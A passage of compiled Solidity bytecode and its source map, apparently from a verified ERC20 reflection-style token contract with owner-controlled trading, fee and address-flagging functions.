ffffff16815260200190815260200160002081905550505050565b612427826007546122ad90919063ffffffff16565b600781905550612442816008546122f790919063ffffffff16565b6008819055505050565b600080600080612478606461246a888a61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124a26064612494888b61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124cb826124bd858c6122ad90919063ffffffff16565b6122ad90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124fb858961256b90919063ffffffff16565b90506000612512868961256b90919063ffffffff16565b90506000612529878961256b90919063ffffffff16565b905060006125528261254485876122ad90919063ffffffff16565b6122ad90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561257e57600090506125e0565b6000828461258c919061300c565b905082848261259b9190612fdb565b146125db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d290612d8f565b60405180910390fd5b809150505b92915050565b60006125f96125f484612f04565b612edf565b9050808382526020820190508285602086028201111561261857600080fd5b60005b85811015612648578161262e8882612652565b84526020840193506020830192505060018101905061261b565b5050509392505050565b60008135905061266181613519565b92915050565b60008151905061267681613519565b92915050565b600082601f83011261268d57600080fd5b813561269d8482602086016125e6565b91505092915050565b6000813590506126b581613530565b92915050565b6000815190506126ca81613530565b92915050565b6000813590506126df81613547565b92915050565b6000815190506126f481613547565b92915050565b60006020828403121561270c57600080fd5b600061271a84828501612652565b91505092915050565b60006020828403121561273557600080fd5b600061274384828501612667565b91505092915050565b6000806040838503121561275f57600080fd5b600061276d85828601612652565b925050602061277e85828601612652565b9150509250929050565b60008060006060848603121561279d57600080fd5b60006127ab86828701612652565b93505060206127bc86828701612652565b92505060406127cd868287016126d0565b9150509250925092565b600080604083850312156127ea57600080fd5b60006127f885828601612652565b9250506020612809858286016126d0565b9150509250929050565b60006020828403121561282557600080fd5b600082013567ffffffffffffffff81111561283f57600080fd5b61284b8482850161267c565b91505092915050565b60006020828403121561286657600080fd5b6000612874848285016126a6565b91505092915050565b60006020828403121561288f57600080fd5b600061289d848285016126bb565b91505092915050565b6000602082840312156128b857600080fd5b60006128c6848285016126d0565b91505092915050565b600080604083850312156128e257600080fd5b60006128f0858286016126d0565b9250506020612901858286016126d0565b9150509250929050565b60008060006060848603121561292057600080fd5b600061292e868287016126e5565b935050602061293f868287016126e5565b9250506040612950868287016126e5565b9150509250925092565b60006129668383612972565b60208301905092915050565b61297b8161309a565b82525050565b61298a8161309a565b82525050565b600061299b82612f40565b6129a58185612f63565b93506129b083612f30565b8060005b838110156129e15781516129c8888261295a565b97506129d383612f56565b9250506001810190506129b4565b5085935050505092915050565b6129f7816130ac565b82525050565b612a06816130ef565b82525050565b6000612a1782612f4b565b612a218185612f74565b9350612a31818560208601613101565b612a3a8161323b565b840191505092915050565b6000612a52602383612f74565b9150612a5d8261324c565b604082019050919050565b6000612a75602a83612f74565b9150612a808261329b565b604082019050919050565b6000612a98602283612f74565b9150612aa3826132ea565b604082019050919050565b6000612abb601783612f74565b9150612ac682613339565b602082019050919050565b6000612ade601b83612f74565b9150612ae982613362565b602082019050919050565b6000612b01602183612f74565b9150612b0c8261338b565b604082019050919050565b6000612b24602083612f74565b9150612b2f826133da565b602082019050919050565b6000612b47602983612f74565b9150612b5282613403565b604082019050919050565b6000612b6a602583612f74565b9150612b7582613452565b604082019050919050565b6000612b8d602483612f74565b9150612b98826134a1565b604082019050919050565b6000612bb0601883612f74565b9150612bbb826134f0565b602082019050919050565b612bcf816130d8565b82525050565b612bde816130e2565b82525050565b6000602082019050612bf96000830184612981565b92915050565b6000604082019050612c146000830185612981565b612c216020830184612981565b9392505050565b6000604082019050612c3d6000830185612981565b612c4a6020830184612bc6565b9392505050565b600060c082019050612c666000830189612981565b612c736020830188612bc6565b612c8060408301876129fd565b612c8d60608301866129fd565b612c9a6080830185612981565b612ca760a0830184612bc6565b979650505050505050565b6000602082019050612cc760008301846129ee565b92915050565b60006020820190508181036000830152612ce78184612a0c565b905092915050565b60006020820190508181036000830152612d0881612a45565b9050919050565b60006020820190508181036000830152612d2881612a68565b9050919050565b60006020820190508181036000830152612d4881612a8b565b9050919050565b60006020820190508181036000830152612d6881612aae565b9050919050565b60006020820190508181036000830152612d8881612ad1565b9050919050565b60006020820190508181036000830152612da881612af4565b9050919050565b60006020820190508181036000830152612dc881612b17565b9050919050565b60006020820190508181036000830152612de881612b3a565b9050919050565b60006020820190508181036000830152612e0881612b5d565b9050919050565b60006020820190508181036000830152612e2881612b80565b9050919050565b60006020820190508181036000830152612e4881612ba3565b9050919050565b6000602082019050612e646000830184612bc6565b92915050565b600060a082019050612e7f6000830188612bc6565b612e8c60208301876129fd565b8181036040830152612e9e8186612990565b9050612ead6060830185612981565b612eba6080830184612bc6565b9695505050505050565b6000602082019050612ed96000830184612bd5565b92915050565b6000612ee9612efa565b9050612ef58282613134565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1f57612f1e61320c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f90826130d8565b9150612f9b836130d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fd057612fcf6131ae565b5b828201905092915050565b6000612fe6826130d8565b9150612ff1836130d8565b925082613001576130006131dd565b5b828204905092915050565b6000613017826130d8565b9150613022836130d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561305b5761305a6131ae565b5b828202905092915050565b6000613071826130d8565b915061307c836130d8565b92508282101561308f5761308e6131ae565b5b828203905092915050565b60006130a5826130b8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130fa826130d8565b9050919050565b60005b8381101561311f578082015181840152602081019050613104565b8381111561312e576000848401525b50505050565b61313d8261323b565b810181811067ffffffffffffffff8211171561315c5761315b61320c565b5b80604052505050565b6000613170826130d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131a3576131a26131ae565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6135228161309a565b811461352d57600080fd5b50565b613539816130ac565b811461354457600080fd5b50565b613550816130d8565b811461355b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058bae179e47b9be8866c2ec84cf893b7a829e2e5c6e8b9adb3a2e09fbe6c407064736f6c63430008040033

Deployed Bytecode Sourcemap

3163:9345:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4987:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5751:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5228:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5904:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9472:79;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5149:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10517:174;;;;;;;;;;;;;:::i;:::-;;6201:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6849:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5321:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2388:133;;;;;;;;;;;;;:::i;:::-;;2203:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5066:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5455:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12184:82;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9249:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8639:605;;;;;;;;;;;;;:::i;:::-;;5612:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10696:173;;;;;;;;;;;;;:::i;:::-;;4987:74;5024:13;5051:5;;;;;;;;;;;;;;;;;5044:12;;4987:74;:::o;5751:146::-;5826:4;5837:39;5846:12;:10;:12::i;:::-;5860:7;5869:6;5837:8;:39::i;:::-;5888:4;5881:11;;5751:146;;;;:::o;5228:88::-;5283:7;5304;;5297:14;;5228:88;:::o;5904:292::-;6002:4;6013:36;6023:6;6031:9;6042:6;6013:9;:36::i;:::-;6054:121;6063:6;6071:12;:10;:12::i;:::-;6085:89;6123:6;6085:89;;;;;;;;;;;;;;;;;:11;:19;6097:6;6085:19;;;;;;;;;;;;;;;:33;6105:12;:10;:12::i;:::-;6085:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6054:8;:121::i;:::-;6187:4;6180:11;;5904:292;;;;;:::o;9472:79::-;2322:12;:10;:12::i;:::-;2312:22;;:6;;;;;;;;;;:22;;;2304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9541:5:::1;9526:4;:12;9531:6;9526:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;9472:79:::0;:::o;5149:74::-;5190:5;5149:74;:::o;10517:174::-;10577:15;;;;;;;;;;;10561:31;;:12;:10;:12::i;:::-;:31;;;10553:40;;;;;;10598:23;10624:24;10642:4;10624:9;:24::i;:::-;10598:50;;10653:33;10670:15;10653:16;:33::i;:::-;10517:174;:::o;6201:92::-;2322:12;:10;:12::i;:::-;2312:22;;:6;;;;;;;;;;:22;;;2304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6283:5:::1;6265:15;;:23;;;;;;;;;;;;;;;;;;6201:92:::0;:::o;6849:158::-;2322:12;:10;:12::i;:::-;2312:22;;:6;;;;;;;;;;:22;;;2304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6924:1:::1;6918:4;:7;;:18;;;;;6935:1;6929:4;:7;;6918:18;6910:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;6979:4;6969:9;:14;;;;6998:4;6988:9;:14;;;;6849:158:::0;;:::o;5321:129::-;5387:7;5408:37;5428:7;:16;5436:7;5428:16;;;;;;;;;;;;;;;;5408:19;:37::i;:::-;5401:44;;5321:129;;;:::o;2388:133::-;2322:12;:10;:12::i;:::-;2312:22;;:6;;;;;;;;;;:22;;;2304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2489:1:::1;2452:40;;2473:6;::::0;::::1;;;;;;;;2452:40;;;;;;;;;;;;2514:1;2497:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2388:133::o:0;2203:70::-;2241:7;2262:6;;;;;;;;;;;2255:13;;2203:70;:::o;5066:78::-;5105:13;5132:7;;;;;;;;;;;;;;;;;5125:14;;5066:78;:::o;5455:152::-;5533:4;5544:42;5554:12;:10;:12::i;:::-;5568:9;5579:6;5544:9;:42::i;:::-;5598:4;5591:11;;5455:152;;;;:::o;12184:82::-;9442:12;:10;:12::i;:::-;9428:26;;:10;;;;;;;;;;;:26;;;9420:36;;;;;;12256:5:::1;12245:8;:16;;;;12184:82:::0;:::o;9249:140::-;2322:12;:10;:12::i;:::-;2312:22;;:6;;;;;;;;;;:22;;;2304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9317:6:::1;9312:73;9333:5;:12;9329:1;:16;9312:73;;;9375:4;9358;:14;9363:5;9369:1;9363:8;;;;;;;;;;;;;;;;;;;;;;9358:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;9347:3;;;;;:::i;:::-;;;;9312:73;;;;9249:140:::0;:::o;8639:605::-;2322:12;:10;:12::i;:::-;2312:22;;:6;;;;;;;;;;:22;;;2304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8697:11:::1;;;;;;;;;;;8696:12;8688:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;8741:58;8758:4;8773:15;;;;;;;;;;;8791:7;;8741:8;:58::i;:::-;8838:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8820:55;;;8884:4;8891:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8820:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8804:13;;:110;;;;;;;;;;;;;;;;;;8919:15;;;;;;;;;;;:31;;;8959:21;8990:4;8997:24;9015:4;8997:9;:24::i;:::-;9023:1;9026::::0;9029:7:::1;:5;:7::i;:::-;9038:15;8919:135;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9073:4;9059:11;;:18;;;;;;;;;;;;;;;;;;9100:4;9082:15;;:22;;;;;;;;;;;;;;;;;;9120:20;9109:8;:31;;;;9159:4;9145:11;;:18;;;;;;;;;;;;;;;;;;9175:13;;;;;;;;;;;9168:29;;;9206:15;;;;;;;;;;;9224:14;9168:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8639:605::o:0;5612:134::-;5693:7;5714:11;:18;5726:5;5714:18;;;;;;;;;;;;;;;:27;5733:7;5714:27;;;;;;;;;;;;;;;;5707:34;;5612:134;;;;:::o;10696:173::-;10756:15;;;;;;;;;;;10740:31;;:12;:10;:12::i;:::-;:31;;;10732:40;;;;;;10777:26;10806:21;10777:50;;10832:32;10845:18;10832:12;:32::i;:::-;10696:173;:::o;161:89::-;214:7;235:10;228:17;;161:89;:::o;6536:308::-;6640:1;6623:19;;:5;:19;;;;6615:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6715:1;6696:21;;:7;:21;;;;6688:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6791:6;6761:11;:18;6773:5;6761:18;;;;;;;;;;;;;;;:27;6780:7;6761:27;;;;;;;;;;;;;;;:36;;;;6823:7;6807:32;;6816:5;6807:32;;;6832:6;6807:32;;;;;;:::i;:::-;;;;;;;;6536:308;;;:::o;7012:1100::-;7110:1;7094:18;;:4;:18;;;;7086:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7181:1;7167:16;;:2;:16;;;;7159:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7245:1;7236:6;:10;7228:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7311:7;:5;:7::i;:::-;7303:15;;:4;:15;;;;:32;;;;;7328:7;:5;:7::i;:::-;7322:13;;:2;:13;;;;7303:32;7299:770;;;7352:4;:10;7357:4;7352:10;;;;;;;;;;;;;;;;;;;;;;;;;7351:11;:24;;;;;7367:4;:8;7372:2;7367:8;;;;;;;;;;;;;;;;;;;;;;;;;7366:9;7351:24;7343:33;;;;;;7394:13;;;;;;;;;;;7386:21;;:4;:21;;;:55;;;;;7425:15;;;;;;;;;;;7411:30;;:2;:30;;;;7386:55;:83;;;;;7447:18;:22;7466:2;7447:22;;;;;;;;;;;;;;;;;;;;;;;;;7445:24;7386:83;:102;;;;;7473:15;;;;;;;;;;;7386:102;7382:230;;;7537:15;7522:8;:12;7531:2;7522:12;;;;;;;;;;;;;;;;:30;7514:39;;;;;;7594:10;7575:15;:30;;;;:::i;:::-;7560:8;:12;7569:2;7560:12;;;;;;;;;;;;;;;:45;;;;7382:230;7629:13;;;;;;;;;;;7623:19;;:2;:19;;;:55;;;;;7662:15;;;;;;;;;;;7646:32;;:4;:32;;;;7623:55;:85;;;;;7684:18;:24;7703:4;7684:24;;;;;;;;;;;;;;;;;;;;;;;;;7682:26;7623:85;7619:132;;;7735:8;;7725:6;:18;;7717:27;;;;;;7619:132;7756:28;7787:24;7805:4;7787:9;:24::i;:::-;7756:55;;7822:6;;;;;;;;;;;7821:7;:32;;;;;7840:13;;;;;;;;;;;7832:21;;:4;:21;;;;7821:32;:47;;;;;7857:11;;;;;;;;;;;7821:47;7817:247;;;7877:38;7894:20;7877:16;:38::i;:::-;7922:26;7951:21;7922:50;;8004:1;7983:18;:22;7979:79;;;8015:35;8028:21;8015:12;:35::i;:::-;7979:79;7817:247;;7299:770;;8075:32;8090:4;8096:2;8100:6;8075:14;:32::i;:::-;7012:1100;;;:::o;1238:169::-;1324:7;1351:1;1346;:6;;1354:12;1338:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1372:9;1388:1;1384;:5;;;;:::i;:::-;1372:17;;1401:1;1394:8;;;1238:169;;;;;:::o;8117:373::-;4324:4;4315:6;;:13;;;;;;;;;;;;;;;;;;8189:21:::1;8227:1;8213:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8189:40;;8252:4;8234;8239:1;8234:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;8272:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8262:4;8267:1;8262:7;;;;;;;;;;;;;;;;;;;;;:32;;;;;;;;;::::0;::::1;8299:62;8316:4;8331:15;;;;;;;;;;;8349:11;8299:8;:62::i;:::-;8366:15;;;;;;;;;;;:66;;;8433:11;8446:1;8449:4;8462;8469:15;8366:119;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;4333:1;4348:5:::0;4339:6;;:14;;;;;;;;;;;;;;;;;;8117:373;:::o;6298:233::-;6366:7;6399;;6388;:18;;6380:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6458:19;6480:10;:8;:10::i;:::-;6458:32;;6502:24;6514:11;6502:7;:11;;:24;;;;:::i;:::-;6495:31;;;6298:233;;;:::o;8495:139::-;8546:15;;;;;;;;;;;:24;;:39;8571:13;8582:1;8571:6;:10;;:13;;;;:::i;:::-;8546:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8590:15;;;;;;;;;;;:24;;:39;8615:13;8626:1;8615:6;:10;;:13;;;;:::i;:::-;8590:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8495:139;:::o;9556:137::-;9644:44;9662:6;9670:9;9681:6;9644:17;:44::i;:::-;9556:137;;;:::o;12032:149::-;12074:7;12089:15;12106;12125:19;:17;:19::i;:::-;12088:56;;;;12156:20;12168:7;12156;:11;;:20;;;;:::i;:::-;12149:27;;;;12032:149;:::o;1621:123::-;1679:7;1700:39;1704:1;1707;1700:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1693:46;;1621:123;;;;:::o;9698:448::-;9791:15;9808:23;9833:12;9847:23;9872:12;9886:13;9903:19;9914:7;9903:10;:19::i;:::-;9790:132;;;;;;;;;;;;9945:28;9965:7;9945;:15;9953:6;9945:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;9927:7;:15;9935:6;9927:15;;;;;;;;;;;;;;;:46;;;;9999:39;10022:15;9999:7;:18;10007:9;9999:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;9978:7;:18;9986:9;9978:18;;;;;;;;;;;;;;;:60;;;;10043:16;10053:5;10043:9;:16::i;:::-;10064:23;10076:4;10082;10064:11;:23::i;:::-;10114:9;10097:44;;10106:6;10097:44;;;10125:15;10097:44;;;;;;:::i;:::-;;;;;;;;9698:448;;;;;;;;;:::o;12275:230::-;12326:7;12335;12349:15;12367:7;;12349:25;;12379:15;12397:7;;12379:25;;12423:20;12435:7;;12423;;:11;;:20;;;;:::i;:::-;12413:7;:30;12409:61;;;12453:7;;12462;;12445:25;;;;;;;;12409:61;12483:7;12492;12475:25;;;;;;12275:230;;;:::o;1749:168::-;1835:7;1861:1;1857;:5;1864:12;1849:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1882:9;1898:1;1894;:5;;;;:::i;:::-;1882:17;;1911:1;1904:8;;;1749:168;;;;;:::o;10874:443::-;10933:7;10942;10951;10960;10969;10978;10993:23;11018:12;11032:13;11049:42;11061:7;11070:9;;11081;;11049:11;:42::i;:::-;10992:99;;;;;;11096:19;11118:10;:8;:10::i;:::-;11096:32;;11134:15;11151:23;11176:12;11192:46;11204:7;11213:4;11219:5;11226:11;11192;:46::i;:::-;11133:105;;;;;;11251:7;11260:15;11277:4;11283:15;11300:4;11306:5;11243:69;;;;;;;;;;;;;;;;;;;10874:443;;;;;;;:::o;1106:127::-;1164:7;1185:43;1189:1;1192;1185:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1178:50;;1106:127;;;;:::o;943:158::-;1001:7;1015:9;1031:1;1027;:5;;;;:::i;:::-;1015:17;;1050:1;1045;:6;;1037:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1095:1;1088:8;;;943:158;;;;:::o;10151:190::-;10198:19;10220:10;:8;:10::i;:::-;10198:32;;10235:13;10251:22;10261:11;10251:5;:9;;:22;;;;:::i;:::-;10235:38;;10303:33;10330:5;10303:7;:22;10319:4;10303:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;10278:7;:22;10294:4;10278:22;;;;;;;;;;;;;;;:58;;;;10151:190;;;:::o;10346:132::-;10418:17;10430:4;10418:7;;:11;;:17;;;;:::i;:::-;10408:7;:27;;;;10453:20;10468:4;10453:10;;:14;;:20;;;;:::i;:::-;10440:10;:33;;;;10346:132;;:::o;11322:324::-;11415:7;11424;11433;11447:12;11462:28;11486:3;11462:19;11474:6;11462:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;11447:43;;11495:13;11511:29;11536:3;11511:20;11523:7;11511;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;11495:45;;11545:23;11571:28;11593:5;11571:17;11583:4;11571:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;11545:54;;11612:15;11629:4;11635:5;11604:37;;;;;;;;;11322:324;;;;;;;:::o;11651:376::-;11761:7;11770;11779;11793:15;11811:24;11823:11;11811:7;:11;;:24;;;;:::i;:::-;11793:42;;11840:12;11855:21;11864:11;11855:4;:8;;:21;;;;:::i;:::-;11840:36;;11881:13;11897:22;11907:11;11897:5;:9;;:22;;;;:::i;:::-;11881:38;;11924:23;11950:28;11972:5;11950:17;11962:4;11950:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;11924:54;;11991:7;12000:15;12017:4;11983:39;;;;;;;;;;11651:376;;;;;;;;:::o;1412:204::-;1470:7;1493:1;1488;:6;1484:32;;;1509:1;1502:8;;;;1484:32;1520:9;1536:1;1532;:5;;;;:::i;:::-;1520:17;;1559:1;1554;1550;:5;;;;:::i;:::-;:10;1542:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1610:1;1603:8;;;1412:204;;;;;:::o;24:655:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;414:1;411;404:12;350:2;450:1;435:238;460:6;457:1;454:13;435:238;;;528:3;557:37;590:3;578:10;557:37;:::i;:::-;552:3;545:50;624:4;619:3;615:14;608:21;;658:4;653:3;649:14;642:21;;495:178;482:1;479;475:9;470:14;;435:238;;;439:14;126:553;;;;;;;:::o;685:139::-;731:5;769:6;756:20;747:29;;785:33;812:5;785:33;:::i;:::-;737:87;;;;:::o;830:143::-;887:5;918:6;912:13;903:22;;934:33;961:5;934:33;:::i;:::-;893:80;;;;:::o;996:303::-;1067:5;1116:3;1109:4;1101:6;1097:17;1093:27;1083:2;;1134:1;1131;1124:12;1083:2;1174:6;1161:20;1199:94;1289:3;1281:6;1274:4;1266:6;1262:17;1199:94;:::i;:::-;1190:103;;1073:226;;;;;:::o;1305:133::-;1348:5;1386:6;1373:20;1364:29;;1402:30;1426:5;1402:30;:::i;:::-;1354:84;;;;:::o;1444:137::-;1498:5;1529:6;1523:13;1514:22;;1545:30;1569:5;1545:30;:::i;:::-;1504:77;;;;:::o;1587:139::-;1633:5;1671:6;1658:20;1649:29;;1687:33;1714:5;1687:33;:::i;:::-;1639:87;;;;:::o;1732:143::-;1789:5;1820:6;1814:13;1805:22;;1836:33;1863:5;1836:33;:::i;:::-;1795:80;;;;:::o;1881:262::-;1940:6;1989:2;1977:9;1968:7;1964:23;1960:32;1957:2;;;2005:1;2002;1995:12;1957:2;2048:1;2073:53;2118:7;2109:6;2098:9;2094:22;2073:53;:::i;:::-;2063:63;;2019:117;1947:196;;;;:::o;2149:284::-;2219:6;2268:2;2256:9;2247:7;2243:23;2239:32;2236:2;;;2284:1;2281;2274:12;2236:2;2327:1;2352:64;2408:7;2399:6;2388:9;2384:22;2352:64;:::i;:::-;2342:74;;2298:128;2226:207;;;;:::o;2439:407::-;2507:6;2515;2564:2;2552:9;2543:7;2539:23;2535:32;2532:2;;;2580:1;2577;2570:12;2532:2;2623:1;2648:53;2693:7;2684:6;2673:9;2669:22;2648:53;:::i;:::-;2638:63;;2594:117;2750:2;2776:53;2821:7;2812:6;2801:9;2797:22;2776:53;:::i;:::-;2766:63;;2721:118;2522:324;;;;;:::o;2852:552::-;2929:6;2937;2945;2994:2;2982:9;2973:7;2969:23;2965:32;2962:2;;;3010:1;3007;3000:12;2962:2;3053:1;3078:53;3123:7;3114:6;3103:9;3099:22;3078:53;:::i;:::-;3068:63;;3024:117;3180:2;3206:53;3251:7;3242:6;3231:9;3227:22;3206:53;:::i;:::-;3196:63;;3151:118;3308:2;3334:53;3379:7;3370:6;3359:9;3355:22;3334:53;:::i;:::-;3324:63;;3279:118;2952:452;;;;;:::o;3410:407::-;3478:6;3486;3535:2;3523:9;3514:7;3510:23;3506:32;3503:2;;;3551:1;3548;3541:12;3503:2;3594:1;3619:53;3664:7;3655:6;3644:9;3640:22;3619:53;:::i;:::-;3609:63;;3565:117;3721:2;3747:53;3792:7;3783:6;3772:9;3768:22;3747:53;:::i;:::-;3737:63;;3692:118;3493:324;;;;;:::o;3823:405::-;3907:6;3956:2;3944:9;3935:7;3931:23;3927:32;3924:2;;;3972:1;3969;3962:12;3924:2;4043:1;4032:9;4028:17;4015:31;4073:18;4065:6;4062:30;4059:2;;;4105:1;4102;4095:12;4059:2;4133:78;4203:7;4194:6;4183:9;4179:22;4133:78;:::i;:::-;4123:88;;3986:235;3914:314;;;;:::o;4234:256::-;4290:6;4339:2;4327:9;4318:7;4314:23;4310:32;4307:2;;;4355:1;4352;4345:12;4307:2;4398:1;4423:50;4465:7;4456:6;4445:9;4441:22;4423:50;:::i;:::-;4413:60;;4369:114;4297:193;;;;:::o;4496:278::-;4563:6;4612:2;4600:9;4591:7;4587:23;4583:32;4580:2;;;4628:1;4625;4618:12;4580:2;4671:1;4696:61;4749:7;4740:6;4729:9;4725:22;4696:61;:::i;:::-;4686:71;;4642:125;4570:204;;;;:::o;4780:262::-;4839:6;4888:2;4876:9;4867:7;4863:23;4859:32;4856:2;;;4904:1;4901;4894:12;4856:2;4947:1;4972:53;5017:7;5008:6;4997:9;4993:22;4972:53;:::i;:::-;4962:63;;4918:117;4846:196;;;;:::o;5048:407::-;5116:6;5124;5173:2;5161:9;5152:7;5148:23;5144:32;5141:2;;;5189:1;5186;5179:12;5141:2;5232:1;5257:53;5302:7;5293:6;5282:9;5278:22;5257:53;:::i;